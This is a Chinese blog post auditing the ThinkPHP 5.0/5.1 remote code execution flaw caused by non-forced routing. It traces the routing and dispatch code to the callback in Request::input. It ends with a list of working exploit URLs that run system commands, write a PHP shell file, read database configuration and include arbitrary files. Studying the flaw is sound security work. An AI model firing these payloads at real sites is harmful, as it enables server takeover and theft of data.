ThinkPHP5 RCE漏洞代码审计

前言

thinkphp下载
漏洞影响版本:
5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30

未开启强制路由导致RCE

搭建

ThinkPHP 5.1框架结合RCE漏洞的深入分析

thinkphp-5.1.29

tp版本:5.1.29

php版本:7.2.10(必须7以上)

测试:

http://www.yn8rt.com/thinkphp5.1.29/public/?s=index/think\request/input?data=whoami&filter=system

开始

tp3URL模式

image-20211012144902573

据说这个漏洞的成因是因为未开启强制路由,因为兼容模式的存在才导致的rce,开始断电调试:

image-20211012145013535

首先是get的作用:获取容器中的对象实例,应该意思差不多就是实例化一个对象

image-20211012145315142

步过了,看一些run的函数:

image-20211012150152473

主要就是这个路由检测,跟进后会得到,check函数:

image-20211012152328622

通过这函数处理完了以后会将$url里面的/变为|

然后返回完了dispatch后,紧接着就进入了init函数:

image-20211012162818951

跟进parseurl函数也就是解析作用:

image-20211012170758813

这是其中有用的函数,应该就是得到模块控制器和操作,把他们存到一个数组中也就就是变量route,一步一步的步入你就知道了

image-20211012201355360

跟进exec函数:

image-20211012201648678

public function exec()
    {
    
    
        // 监听module_init
        $this->app['hook']->listen('module_init');

        try {
    
    
            // 实例化控制器
            $instance = $this->app->controller($this->controller,
                $this->rule->getConfig('url_controller_layer'),
                $this->rule->getConfig('controller_suffix'),
                $this->rule->getConfig('empty_controller'));

            if ($instance instanceof Controller) {
    
    
                $instance->registerMiddleware();
            }
        } catch (ClassNotFoundException $e) {
    
    
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }

        $this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
    
    
            // 获取当前操作名
            $action = $this->actionName . $this->rule->getConfig('action_suffix');

            if (is_callable([$instance, $action])) {
    
    
                // 执行操作方法
                $call = [$instance, $action];

                // 严格获取当前操作方法名
                $reflect    = new ReflectionMethod($instance, $action);
                $methodName = $reflect->getName();
                $suffix     = $this->rule->getConfig('action_suffix');
                $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
                $this->request->setAction($actionName);

                // 自动获取请求变量
                $vars = $this->rule->getConfig('url_param_type')
                ? $this->request->route()
                : $this->request->param();
                $vars = array_merge($vars, $this->param);
            } elseif (is_callable([$instance, '_empty'])) {
    
    
                // 空操作
                $call    = [$instance, '_empty'];
                $vars    = [$this->actionName];
                $reflect = new ReflectionMethod($instance, '_empty');
            } else {
    
    
                // 操作不存在
                throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
            }

            $this->app['hook']->listen('action_begin', $call);

            $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

            return $this->autoResponse($data);
        });

        return $this->app['middleware']->dispatch($this->request, 'controller');
    }
}

看他注释的严格获取当前操作方法名的地方,应该是利用了反射来得到方法里面具体的属性等,来进一步确定函数的名字等,其中有invokeReflectMethod(请求反射方法)比较关键:

image-20211012204610852

步入到input函数:

image-20211012204950653

跟踪查看一下原因:

image-20211012204903218

是因为回调函数导致的rce

总结

整体思路:由于未强制开启路由,因为兼容模式的存在,使得我们传入的参数会被成功解析并调用:期间会在check方法中将斜杠/替换成|从而得到的$dispath值是index|think\request|input?data=whoami,相当于:目录名|控制器|方法?参数,以及最后导致的出问题的文件正think\request.php中,在其中的input方法中导致的RCE

payload

5.1.x

?s=index/think\Request/input&filter[]=system&data=dir
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.0.x

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

猜你喜欢

转载自blog.csdn.net/qq_50589021/article/details/120732190
今日推荐